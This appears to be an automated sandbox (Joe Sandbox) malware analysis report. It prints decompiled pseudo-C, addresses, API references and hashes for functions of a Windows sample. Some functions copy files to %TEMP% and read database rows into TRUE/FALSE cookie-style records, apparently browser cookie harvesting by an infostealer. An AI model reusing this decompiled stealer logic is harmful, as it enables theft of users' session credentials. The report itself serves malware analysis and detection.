				_v8 = __eax;
				E00404150( &_v8);
				 *[fs:eax] = _t366;
				E00403BDC( &_v32);
				 *[fs:edx] = _t366;
				_t115 = E0041B1C4; // 0x41c6c0
				E0040709C( *((intOrPtr*)( *_t115))( *[fs:edx], 0x40f1d7, _t365,  *[fs:eax], 0x40f276, _t365, __edi, __esi, __ebx), __ebx,  &_v84, __esi, _t375);
				E00406FDC( &_v88, __ebx, __edi, __esi, _t375);
				E00403E78();
				E004078D8(_v8, _t304,  &_v76, _t375);
				E004062FC(L"%TEMP%",  &_v96, _t375);
				E00403E78();
				E004078D8(_v92, _t304,  &_v80, _t375);
				_t133 =  *0x41b44c; // 0x41c6c4
				 *((intOrPtr*)( *_t133))(E00403D98(_v76), E00403D98(_v80), 0xffffffff, _v40, 0x40f2ac, _v96, L".tmp", _v88, _v84);
				E0040377C( &_v100, _v80);
				E00404B58(_v100, _t304, _t306,  &_v44, _t363, _t375);
				E00403D88( &_v104, _v44);
				if(E0040776C(_v104, _t304, _t306) != 0) {
					_t147 =  *0x41b140; // 0x41ca20
					_t149 =  *((intOrPtr*)( *_t147))(E00403990(_v44),  &_v16);
					_t367 = _t366 + 8;
					__eflags = _t149;
					if(_t149 == 0) {
						_t183 =  *0x41b184; // 0x41c924
						_t187 =  *0x41b2d4; // 0x41ca28
						_t189 =  *((intOrPtr*)( *_t187))(_v16, E00403990( *_t183), 0xffffffff,  &_v20,  &_v24);
						_t368 = _t367 + 0x14;
						__eflags = _t189;
						if(_t189 != 0) {
							_t297 =  *0x41b43c; // 0x41c928
							_t301 =  *0x41b2d4; // 0x41ca28
							_t189 =  *((intOrPtr*)( *_t301))(_v16, E00403990( *_t297), 0xffffffff,  &_v20,  &_v24);
							_t368 = _t368 + 0x14;
						}
						__eflags = _t189;
						if(_t189 == 0) {
							while(1) {
								_t199 =  *0x41b384; // 0x41ca2c
								_t201 =  *((intOrPtr*)( *_t199))(_v20);
								__eflags = _t201 - 0x64;
								if(_t201 != 0x64) {
									goto L22;
								}
								E004034E4( &_v28);
								E004034E4( &_v36);
								_t207 =  *0x41b414; // 0x41ca34
								_t211 =  *0x41b1dc; // 0x41ca30
								_t213 =  *((intOrPtr*)( *_t211))(_v20, 2,  *((intOrPtr*)( *_t207))(_v20, 2));
								_pop(_t337);
								E0040A610(_t213,  &_v28, _t337);
								_t216 =  *0x41b1dc; // 0x41ca30
								_t218 =  *((intOrPtr*)( *_t216))(_v20, 3);
								_t368 = _t368 + 0x18;
								E004036DC( &_v36, _t218);
								_t222 = E00403790(_v28);
								_t305 = _t222;
								_t224 = E00403790(_v36);
								__eflags = _t222 - _t224;
								if(_t222 > _t224) {
									E0040357C( &_v36, _v28);
								}
								_t226 = E00403790(_v36);
								__eflags = _t226;
								if(_t226 != 0) {
									_t228 =  *0x41b1dc; // 0x41ca30
									_t230 =  *((intOrPtr*)( *_t228))(_v20, 0);
									_t371 = _t368 + 8;
									E004036DC( &_v48, _t230);
									E0040357C( &_v52, 0x40f2b8);
									_t236 = E00403790(_v48);
									__eflags = _t236;
									if(_t236 > 0) {
										__eflags =  *_v48 - 0x2e;
										if( *_v48 == 0x2e) {
											E0040357C( &_v52, 0x40f2c8);
										}
									}
									_t238 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v56,  *((intOrPtr*)( *_t238))(_v20, 4));
									_t244 =  *0x41b1dc; // 0x41ca30
									 *((intOrPtr*)( *_t244))(_v20, 5);
									_t373 = _t371 + 0x10;
									E00402A5C();
									__eflags = 1;
									E00402870( &_v360, 1, 0x40f2d0);
									if(__eflags != 0) {
										E0040357C( &_v60, 0x40f2c8);
									} else {
										E0040357C( &_v60, 0x40f2b8);
									}
									_t254 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v64,  *((intOrPtr*)( *_t254))(_v20, 6));
									_t260 =  *0x41b1dc; // 0x41ca30
									_t262 =  *((intOrPtr*)( *_t260))(_v20, 1);
									_t368 = _t373 + 0x10;
									E004036DC( &_v68, _t262);
									E0040357C( &_v72, _v36);
									_t268 = E00403AD4(0x40f2dc, _v64);
									__eflags = _t268;
									if(_t268 != 0) {
										E0040357C( &_v64, 0x40f2e8);
									}
									_push(_v32);
									E00403D88( &_v364, _v48);
									_push(_v364);
									_push(E0040F2F0);
									E00403D88( &_v368, _v52);
									_push(_v368);
									_push(E0040F2F0);
									E00403D88( &_v372, _v56);
									_push(_v372);
									_push(E0040F2F0);
									E00403D88( &_v376, _v60);
									_push(_v376);
									_push(E0040F2F0);
									E00403D88( &_v380, _v64);
									_push(_v380);
									_push(E0040F2F0);
									E00403D88( &_v384, _v68);
									_push(_v384);
									_push(E0040F2F0);
									E00403D88( &_v388, _v72);
									_push(_v388);
									_push(E0040F2F8);
									E00403E78();
									E00405194(_v48, _t305, _t362, _t363);
								}
							}
						}
						L22:
						_t191 =  *0x41b46c; // 0x41ca38
						 *((intOrPtr*)( *_t191))(_v20);
						_t195 =  *0x41b20c; // 0x41ca24
						 *((intOrPtr*)( *_t195))(_v16);
					}
					_pop(_t331);
					 *[fs:eax] = _t331;
					E00403C18(_v12, _v32);
					_t155 =  *0x41b3e8; // 0x41c6f4
					 *((intOrPtr*)( *_t155))(E00403D98(_v80));
				} else {
					_pop(_t361);
					 *[fs:eax] = _t361;
				}
				_pop(_t333);
				 *[fs:eax] = _t333;
				_push(E0040F27D);
				E00403BF4( &_v388, 7);
				E00403BDC( &_v104);
				E004034E4( &_v100);
				E00403BF4( &_v96, 6);
				E00403508( &_v72, 7);
				E004034E4( &_v44);
				E00403BDC( &_v40);
				E004034E4( &_v36);
				E00403BDC( &_v32);
				E004034E4( &_v28);
				return E00403BDC( &_v8);
			}

0x0040eda8
0x0040eda8
0x0040eda8
0x0040eda9
0x0040edab
0x0040edb0
0x0040edb0
0x0040edb2
0x0040edb4
0x0040edb4
0x0040edb4
0x0040edba
0x0040edbd
0x0040edc3
0x0040edd3
0x0040edd9
0x0040ede9
0x0040edec
0x0040edf8
0x0040ee03
0x0040ee18
0x0040ee23
0x0040ee30
0x0040ee48
0x0040ee53
0x0040ee6c
0x0040ee73
0x0040ee7b
0x0040ee86
0x0040ee91
0x0040eea0
0x0040eebc
0x0040eec3
0x0040eec5
0x0040eec8
0x0040eeca
0x0040eeda
0x0040eeeb
0x0040eef2
0x0040eef4
0x0040eef7
0x0040eef9
0x0040ef05
0x0040ef16
0x0040ef1d
0x0040ef1f
0x0040ef1f
0x0040ef22
0x0040ef24
0x0040f19a
0x0040f19e
0x0040f1a5
0x0040f1a8
0x0040f1ab
0x00000000
0x00000000
0x0040ef32
0x0040ef3a
0x0040ef45
0x0040ef58
0x0040ef5f
0x0040ef67
0x0040ef68
0x0040ef73
0x0040ef7a
0x0040ef7c
0x0040ef84
0x0040ef8c
0x0040ef91
0x0040ef96
0x0040ef9b
0x0040ef9d
0x0040efa5
0x0040efa5
0x0040efad
0x0040efb2
0x0040efb4
0x0040efc0
0x0040efc7
0x0040efc9
0x0040efd1
0x0040efde
0x0040efe6
0x0040efeb
0x0040efed
0x0040eff2
0x0040eff5
0x0040efff
0x0040efff
0x0040eff5
0x0040f00a
0x0040f01b
0x0040f026
0x0040f02d
0x0040f02f
0x0040f03a
0x0040f04e
0x0040f04f
0x0040f054
0x0040f06d
0x0040f056
0x0040f05e
0x0040f05e
0x0040f078
0x0040f089
0x0040f094
0x0040f09b
0x0040f09d
0x0040f0a5
0x0040f0b0
0x0040f0bd
0x0040f0c2
0x0040f0c4
0x0040f0ce
0x0040f0ce
0x0040f0d3
0x0040f0df
0x0040f0e4
0x0040f0ea
0x0040f0f8
0x0040f0fd
0x0040f103
0x0040f111
0x0040f116
0x0040f11c
0x0040f12a
0x0040f12f
0x0040f135
0x0040f143
0x0040f148
0x0040f14e
0x0040f15c
0x0040f161
0x0040f167
0x0040f175
0x0040f17a
0x0040f180
0x0040f18d
0x0040f195
0x0040f195
0x0040efb4
0x0040f19a
0x0040f1b1
0x0040f1b5
0x0040f1bc
0x0040f1c3
0x0040f1ca
0x0040f1cc
0x0040f1cf
0x0040f1d2
0x0040f1e7
0x0040f1f5
0x0040f1fc
0x0040eea2
0x0040eea4
0x0040eea7
0x0040eea7
0x0040f200
0x0040f203
0x0040f206
0x0040f216
0x0040f21e
0x0040f226
0x0040f233
0x0040f240
0x0040f248
0x0040f250
0x0040f258
0x0040f260
0x0040f268
0x0040f275

Strings

TRUE, xrefs: 0040EFFA, 0040F068
FALSE, xrefs: 0040EFD9, 0040F059
.tmp, xrefs: 0040EE0B
%TEMP%, xrefs: 0040EE2B

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513$E465E7790FreeLocal
String ID: %TEMP%$.tmp$FALSE$TRUE
API String ID: 1051919161-1436660622
Opcode ID: fa84de5000c9481618eb11930561bea3eae6bce493e4914276000c9eab5feca2
Instruction ID: 9dcaa7c871c06a4d7ee4199f6a0ac2de530738ae04ad212c69763d189181e7d7
Opcode Fuzzy Hash: fa84de5000c9481618eb11930561bea3eae6bce493e4914276000c9eab5feca2
Instruction Fuzzy Hash: 0DE1EB35A00109AFCB10EB95DC81ADEB7B9EF49305F50817AF414F76A1DB39AE098B58

Uniqueness

Uniqueness Score: 100.00%

Function 004020EC, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118
UNIQUE

C-Code - Quality: 55%

			E004020EC(void* __eax) {
				intOrPtr _v8;
				void* __ebp;
				signed int* _t24;
				signed int* _t25;
				intOrPtr _t26;
				signed int* _t38;
				void* _t42;
				signed int _t43;
				signed int _t44;
				signed int _t51;
				intOrPtr _t52;
				signed int _t56;
				signed int* _t58;
				signed int* _t62;
				intOrPtr _t65;
				intOrPtr _t67;

				_t65 = _t67;
				_t42 = __eax;
				 *0x41c5b0 = 0;
				if( *0x41c5ac != 0 || E00401870() != 0) {
					_push(_t65);
					_push(E0040227E);
					_push( *[fs:ecx]);
					 *[fs:ecx] = _t67;
					__eflags =  *0x41c035;
					if( *0x41c035 != 0) {
						_push("�[0");
						L004011CC();
					}
					_t62 = _t42 - 4;
					_t43 =  *_t62;
					__eflags = _t43 & 0x00000002;
					if((_t43 & 0x00000002) != 0) {
						 *0x41c59c =  *0x41c59c - 1;
						 *0x41c5a0 =  *0x41c5a0 - (_t43 & 0x7ffffffc) - 4;
						__eflags = _t43 & 0x00000001;
						if((_t43 & 0x00000001) == 0) {
							L14:
							_t44 = _t43 & 0x7ffffffc;
							_t24 = _t62 + _t44;
							_t58 = _t24;
							__eflags = _t58 -  *0x41c608; // 0x116fda4
							if(__eflags != 0) {
								_t51 =  *_t24;
								__eflags = _t51 & 0x00000002;
								if((_t51 & 0x00000002) == 0) {
									_t25 = _t58;
									__eflags = _t25[1];
									if(_t25[1] == 0) {
										L25:
										 *0x41c5b0 = 0xb;
									} else {
										__eflags =  *_t25;
										if( *_t25 == 0) {
											goto L25;
										} else {
											__eflags = _t25[2] - 0xc;
											if(_t25[2] >= 0xc) {
												__eflags = _t44;
												E00401A14(_t25);
												goto L27;
											} else {
												goto L25;
											}
										}
									}
								} else {
									__eflags = (_t51 & 0x7ffffffc) - 4;
									if((_t51 & 0x7ffffffc) >= 4) {
										 *_t24 =  *_t24 | 0x00000001;
										L27:
										E00401C7C(_t62, _t44);
									} else {
										 *0x41c5b0 = 0xb;
									}
								}
								goto L28;
							} else {
								 *0x41c608 =  *0x41c608 - _t44;
								 *0x41c604 =  *0x41c604 + _t44;
								__eflags =  *0x41c604 - 0x3c00;
								if( *0x41c604 > 0x3c00) {
									E00401D04(_t24);
								}
								_v8 = 0;
								E0040303C();
								goto L32;
							}
						} else {
							_t56 =  *(_t62 - 0xc + 8);
							__eflags = _t56 - 0xc;
							if(_t56 < 0xc) {
								L10:
								 *0x41c5b0 = 0xa;
								goto L28;
							} else {
								__eflags = _t56 & 0x80000003;
								if((_t56 & 0x80000003) == 0) {
									_t38 = _t62 - _t56;
									__eflags = _t56 - _t38[2];
									if(_t56 == _t38[2]) {
										_t43 = _t43 + _t56;
										__eflags = _t43;
										_t62 = _t38;
										E00401A14(_t38);
										goto L14;
									} else {
										 *0x41c5b0 = 0xa;
										goto L28;
									}
								} else {
									goto L10;
								}
							}
						}
					} else {
						 *0x41c5b0 = 9;
						L28:
						_t26 =  *0x41c5b0; // 0x0
						_v8 = _t26;
						__eflags = 0;
						_pop(_t52);
						 *[fs:eax] = _t52;
						_push(E00402285);
						__eflags =  *0x41c035;
						if( *0x41c035 != 0) {
							_push("�[0");
							L004011D4();
							return 0;
						}
						return 0;
					}
				} else {
					 *0x41c5b0 = 8;
					_v8 = 8;
					L32:
					return _v8;
				}
			}

0x004020ed
0x004020f3
0x004020f7
0x00402103
0x00402126
0x00402127
0x0040212c
0x0040212f
0x00402132
0x00402139
0x0040213b
0x00402140
0x00402140
0x00402147
0x0040214a
0x0040214c
0x0040214f
0x00402160
0x00402170
0x00402176
0x00402179
0x004021c0
0x004021c0
0x004021c8
0x004021ca
0x004021cc
0x004021d2
0x00402200
0x00402202
0x00402205
0x00402223
0x00402225
0x00402229
0x00402236
0x00402236
0x0040222b
0x0040222b
0x0040222e
0x00000000
0x00402230
0x00402230
0x00402234
0x00402245
0x00402247
0x00000000
0x00000000
0x00000000
0x00000000
0x00402234
0x0040222e
0x00402207
0x0040220d
0x00402210
0x0040221e
0x0040224c
0x00402250
0x00402212
0x00402212
0x00402212
0x00402210
0x00000000
0x004021d4
0x004021d4
0x004021da
0x004021e0
0x004021ea
0x004021ec
0x004021ec
0x004021f3
0x004021f6
0x00000000
0x004021f6
0x0040217b
0x00402180
0x00402183
0x00402186
0x00402190
0x00402190
0x00000000
0x00402188
0x00402188
0x0040218e
0x004021a1
0x004021a3
0x004021a6
0x004021b7
0x004021b7
0x004021b9
0x004021bb
0x00000000
0x004021a8
0x004021a8
0x00000000
0x004021a8
0x00000000
0x00000000
0x00000000
0x0040218e
0x00402186
0x00402151
0x00402151
0x00402255
0x00402255
0x0040225a
0x0040225d
0x0040225f
0x00402262
0x00402265
0x0040226a
0x00402271
0x00402273
0x00402278
0x00000000
0x00402278
0x0040227d
0x0040227d
0x0040210e
0x0040210e
0x00402118
0x00402285
0x0040228d
0x0040228d

APIs

RtlEnterCriticalSection.KERNEL32([0,00000000,0040227E,?,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00402140
RtlLeaveCriticalSection.KERNEL32([0,00402285,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00402278

Part of subcall function 00401870: RtlInitializeCriticalSection.KERNEL32([0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
Part of subcall function 00401870: RtlEnterCriticalSection.KERNEL32([0,[0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
Part of subcall function 00401870: LocalAlloc.KERNEL32(00000000,00000FF8,[0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
Part of subcall function 00401870: RtlLeaveCriticalSection.KERNEL32([0,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Strings

[0, xrefs: 0040213B, 00402273

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: [0
API String ID: 2227675388-2611421359
Opcode ID: b7ac155c23c1522a098830d0904889b64d5ace478bb6a13e64f31b9fc39062ea
Instruction ID: 949cd651b784a6043247fc04aab986b2bc0d8b81d0cf300235882c7ee1a4b758
Opcode Fuzzy Hash: b7ac155c23c1522a098830d0904889b64d5ace478bb6a13e64f31b9fc39062ea
Instruction Fuzzy Hash: C541D071644250DFE7119BA5EE8D7963AA2A789318F2481BFE400A72F1D3BCA845C74D

Uniqueness

Uniqueness Score: 100.00%

Function 0040E79C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80
fileCOMMON

C-Code - Quality: 68%

			E0040E79C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _t29;
				void* _t40;
				WCHAR* _t51;
				int _t54;
				void* _t59;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t73;
				void* _t74;
				intOrPtr _t77;
				void* _t78;
				void* _t79;

				_t74 = __esi;
				_t73 = __edi;
				_t63 = __edx;
				_t59 = __ebx;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00403980(_v12);
				_push(_t77);
				_push(0x40e89b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t77;
				_t29 = E00403790(_v16);
				asm("cdq");
				_t78 = _t63 -  *0x41cac8; // 0x0
				if(_t78 != 0) {
					if(__eflags < 0) {
						goto L4;
					}
				} else {
					_t79 = _t29 -  *0x41cac4; // 0x0
					if(_t79 < 0) {
						L4:
						E00407228(_v8, _t59,  &_v16);
						_t40 = E00403790(_v16);
						_t80 = _t40;
						if(_t40 == 0) {
							E004062FC(L"%TEMP%\\curbuf.dat",  &_v20, _t80);
							_t51 = E00403D98(_v20);
							_t54 = CopyFileW(E00403D98(_v8), _t51, 0);
							_t81 = _t54;
							if(_t54 != 0) {
								E004062FC(L"%TEMP%\\curbuf.dat",  &_v24, _t81);
								E00407228(_v24, _t59,  &_v16);
							}
						}
						E0040E6D4(_v16, _t59, _v12, _t73, _t74);
						E004062FC(L"%TEMP%\\curbuf.dat",  &_v28, _t81);
						DeleteFileW(E00403D98(_v28));
					}
				}
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(E0040E8A2);
				E00403BF4( &_v28, 3);
				E00403508( &_v16, 2);
				return E00403BDC( &_v8);
			}

0x0040e79c
0x0040e79c
0x0040e79c
0x0040e79c
0x0040e7a1
0x0040e7a2
0x0040e7a3
0x0040e7a4
0x0040e7a5
0x0040e7a6
0x0040e7a7
0x0040e7aa
0x0040e7b0
0x0040e7b8
0x0040e7bf
0x0040e7c0
0x0040e7c5
0x0040e7c8
0x0040e7ce
0x0040e7d3
0x0040e7d4
0x0040e7da
0x0040e7ea
0x00000000
0x00000000
0x0040e7dc
0x0040e7dc
0x0040e7e2
0x0040e7ec
0x0040e7f2
0x0040e7fa
0x0040e7ff
0x0040e801
0x0040e80d
0x0040e815
0x0040e824
0x0040e829
0x0040e82b
0x0040e835
0x0040e840
0x0040e840
0x0040e82b
0x0040e84b
0x0040e858
0x0040e866
0x0040e866
0x0040e7e2
0x0040e86d
0x0040e870
0x0040e873
0x0040e880
0x0040e88d
0x0040e89a

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 0040E824
DeleteFileW.KERNEL32(00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C,00000001,?), ref: 0040E866

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Strings

%TEMP%\curbuf.dat, xrefs: 0040E808, 0040E830, 0040E853

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyDeleteE465
String ID: %TEMP%\curbuf.dat
API String ID: 2168868008-3767633259
Opcode ID: a80c2e18994b5b251d51abf03e9ac8fefd6a39a3b9b2048d6b5d44808e33a571
Instruction ID: 82a9ed53c2a697d02335697899508965461685f21aee0589c72fe3466f83eb79
Opcode Fuzzy Hash: a80c2e18994b5b251d51abf03e9ac8fefd6a39a3b9b2048d6b5d44808e33a571
Instruction Fuzzy Hash: 4D211271A00209EBDB00FBA6D94299EB7B8EF44309F50897BF400B32D1D738AE11965D

Uniqueness

Uniqueness Score: 12.89%

Function 0040F300, Relevance: 5.3, Strings: 4, Instructions: 318
UNIQUE

C-Code - Quality: 55%

			E0040F300(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				void* _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v360;
				char _v364;
				char _v368;
				char _v372;
				char _v376;
				char _v380;
				char _v384;
				char _v388;
				intOrPtr* _t104;
				intOrPtr* _t122;
				intOrPtr* _t136;
				void* _t138;
				intOrPtr* _t140;
				intOrPtr* _t144;
				intOrPtr* _t152;
				intOrPtr* _t180;
				intOrPtr* _t184;
				void* _t186;
				intOrPtr* _t188;
				void* _t190;
				intOrPtr* _t196;
				void* _t198;
				void* _t202;
				intOrPtr* _t204;
				void* _t206;
				void* _t212;
				intOrPtr* _t214;
				intOrPtr* _t220;
				intOrPtr* _t230;
				intOrPtr* _t236;
				void* _t238;
				void* _t267;
				intOrPtr _t290;
				intOrPtr _t292;
				intOrPtr _t316;
				intOrPtr _t320;
				intOrPtr _t321;
				void* _t322;
				void* _t323;
				void* _t324;
				void* _t326;

				_t318 = __esi;
				_t317 = __edi;
				_t266 = __ebx;
				_t320 = _t321;
				_t267 = 0x30;
				do {
					_push(0);
					_push(0);
					_t267 = _t267 - 1;
					_t328 = _t267;
				} while (_t267 != 0);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				 *[fs:eax] = _t321;
				E00403BDC( &_v32);
				 *[fs:eax] = _t321;
				_t104 = E0041B1C4; // 0x41c6c0
				E0040709C( *((intOrPtr*)( *_t104))( *[fs:eax], 0x40f697, _t320,  *[fs:eax], 0x40f736, _t320, __edi, __esi, __ebx), __ebx,  &_v84, __esi, _t328);
				E00406FDC( &_v88, __ebx, __edi, __esi, _t328);
				E00403E78();
				E004078D8(_v8, _t266,  &_v76, _t328);
				E004062FC(L"%TEMP%",  &_v96, _t328);
				E00403E78();
				E004078D8(_v92, _t266,  &_v80, _t328);
				_t122 =  *0x41b44c; // 0x41c6c4
				 *((intOrPtr*)( *_t122))(E00403D98(_v76), E00403D98(_v80), 0xffffffff, _v40, 0x40f76c, _v96, L".tmp", _v88, _v84);
				E0040377C( &_v100, _v80);
				E00404B58(_v100, _t266, _t267,  &_v44, _t318, _t328);
				E00403D88( &_v104, _v44);
				if(E0040776C(_v104, _t266, _t267) != 0) {
					_t136 =  *0x41b140; // 0x41ca20
					_t138 =  *((intOrPtr*)( *_t136))(E00403990(_v44),  &_v16);
					_t322 = _t321 + 8;
					__eflags = _t138;
					if(_t138 == 0) {
						_t180 =  *0x41b294; // 0x41c92c
						_t184 =  *0x41b2d4; // 0x41ca28
						_t186 =  *((intOrPtr*)( *_t184))(_v16, E00403990( *_t180), 0xffffffff,  &_v20,  &_v24);
						_t323 = _t322 + 0x14;
						__eflags = _t186;
						if(_t186 == 0) {
							while(1) {
								_t188 =  *0x41b384; // 0x41ca2c
								_t190 =  *((intOrPtr*)( *_t188))(_v20);
								__eflags = _t190 - 0x64;
								if(_t190 != 0x64) {
									goto L16;
								}
								E004034E4( &_v28);
								E004034E4( &_v36);
								_t196 =  *0x41b1dc; // 0x41ca30
								_t198 =  *((intOrPtr*)( *_t196))(_v20, 3);
								_t323 = _t323 + 8;
								E004036DC( &_v36, _t198);
								_t202 = E00403790(_v36);
								__eflags = _t202;
								if(_t202 != 0) {
									_t204 =  *0x41b1dc; // 0x41ca30
									_t206 =  *((intOrPtr*)( *_t204))(_v20, 0);
									_t324 = _t323 + 8;
									E004036DC( &_v48, _t206);
									E0040357C( &_v52, 0x40f778);
									_t212 = E00403790(_v48);
									__eflags = _t212;
									if(_t212 > 0) {
										__eflags =  *_v48 - 0x2e;
										if( *_v48 == 0x2e) {
											E0040357C( &_v52, 0x40f788);
										}
									}
									_t214 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v56,  *((intOrPtr*)( *_t214))(_v20, 4));
									_t220 =  *0x41b1dc; // 0x41ca30
									 *((intOrPtr*)( *_t220))(_v20, 5);
									_t326 = _t324 + 0x10;
									E00402A5C();
									__eflags = 1;
									E00402870( &_v360, 1, 0x40f790);
									if(__eflags != 0) {
										E0040357C( &_v60, 0x40f788);
									} else {
										E0040357C( &_v60, 0x40f778);
									}
									_t230 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v64,  *((intOrPtr*)( *_t230))(_v20, 6));
									_t236 =  *0x41b1dc; // 0x41ca30
									_t238 =  *((intOrPtr*)( *_t236))(_v20, 1);
									_t323 = _t326 + 0x10;
									E004036DC( &_v68, _t238);
									E0040357C( &_v72, _v36);
									_push(_v32);
									E00403D88( &_v364, _v48);
									_push(_v364);
									_push(E0040F798);
									E00403D88( &_v368, _v52);
									_push(_v368);
									_push(E0040F798);
									E00403D88( &_v372, _v56);
									_push(_v372);
									_push(E0040F798);
									E00403D88( &_v376, _v60);
									_push(_v376);
									_push(E0040F798);
									E00403D88( &_v380, _v64);
									_push(_v380);
									_push(E0040F798);
									E00403D88( &_v384, _v68);
									_push(_v384);
									_push(E0040F798);
									E00403D88( &_v388, _v72);
									_push(_v388);
									_push(E0040F7A0);
									E00403E78();
									E00405194(_v48, _t266, _t317, _t318);
								}
							}
						}
					}
					L16:
					_t140 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t140))(_v20);
					_t144 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t144))(_v16);
					_pop(_t290);
					 *[fs:eax] = _t290;
					E00403C18(_v12, _v32);
					_t152 =  *0x41b3e8; // 0x41c6f4
					 *((intOrPtr*)( *_t152))(E00403D98(_v80));
				} else {
					_pop(_t316);
					 *[fs:eax] = _t316;
				}
				_pop(_t292);
				 *[fs:eax] = _t292;
				_push(E0040F73D);
				E00403BF4( &_v388, 7);
				E00403BDC( &_v104);
				E004034E4( &_v100);
				E00403BF4( &_v96, 6);
				E00403508( &_v72, 7);
				E004034E4( &_v44);
				E00403BDC( &_v40);
				E004034E4( &_v36);
				E00403BDC( &_v32);
				E004034E4( &_v28);
				return E00403BDC( &_v8);
			}

0x0040f300
0x0040f300
0x0040f300
0x0040f301
0x0040f303
0x0040f308
0x0040f308
0x0040f30a
0x0040f30c
0x0040f30c
0x0040f30c
0x0040f312
0x0040f315
0x0040f31b
0x0040f32b
0x0040f331
0x0040f341
0x0040f344
0x0040f350
0x0040f35b
0x0040f370
0x0040f37b
0x0040f388
0x0040f3a0
0x0040f3ab
0x0040f3c4
0x0040f3cb
0x0040f3d3
0x0040f3de
0x0040f3e9
0x0040f3f8
0x0040f414
0x0040f41b
0x0040f41d
0x0040f420
0x0040f422
0x0040f432
0x0040f443
0x0040f44a
0x0040f44c
0x0040f44f
0x0040f451
0x0040f65a
0x0040f65e
0x0040f665
0x0040f668
0x0040f66b
0x00000000
0x00000000
0x0040f45f
0x0040f467
0x0040f472
0x0040f479
0x0040f47b
0x0040f483
0x0040f48b
0x0040f490
0x0040f492
0x0040f49e
0x0040f4a5
0x0040f4a7
0x0040f4af
0x0040f4bc
0x0040f4c4
0x0040f4c9
0x0040f4cb
0x0040f4d0
0x0040f4d3
0x0040f4dd
0x0040f4dd
0x0040f4d3
0x0040f4e8
0x0040f4f9
0x0040f504
0x0040f50b
0x0040f50d
0x0040f518
0x0040f52c
0x0040f52d
0x0040f532
0x0040f54b
0x0040f534
0x0040f53c
0x0040f53c
0x0040f556
0x0040f567
0x0040f572
0x0040f579
0x0040f57b
0x0040f583
0x0040f58e
0x0040f593
0x0040f59f
0x0040f5a4
0x0040f5aa
0x0040f5b8
0x0040f5bd
0x0040f5c3
0x0040f5d1
0x0040f5d6
0x0040f5dc
0x0040f5ea
0x0040f5ef
0x0040f5f5
0x0040f603
0x0040f608
0x0040f60e
0x0040f61c
0x0040f621
0x0040f627
0x0040f635
0x0040f63a
0x0040f640
0x0040f64d
0x0040f655
0x0040f655
0x0040f492
0x0040f65a
0x0040f451
0x0040f671
0x0040f675
0x0040f67c
0x0040f683
0x0040f68a
0x0040f68f
0x0040f692
0x0040f6a7
0x0040f6b5
0x0040f6bc
0x0040f3fa
0x0040f3fc
0x0040f3ff
0x0040f3ff
0x0040f6c0
0x0040f6c3
0x0040f6c6
0x0040f6d6
0x0040f6de
0x0040f6e6
0x0040f6f3
0x0040f700
0x0040f708
0x0040f710
0x0040f718
0x0040f720
0x0040f728
0x0040f735

Strings

TRUE, xrefs: 0040F4D8, 0040F546
FALSE, xrefs: 0040F4B7, 0040F537
.tmp, xrefs: 0040F363
%TEMP%, xrefs: 0040F383

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513$E465E7790
String ID: %TEMP%$.tmp$FALSE$TRUE
API String ID: 2220997-1436660622
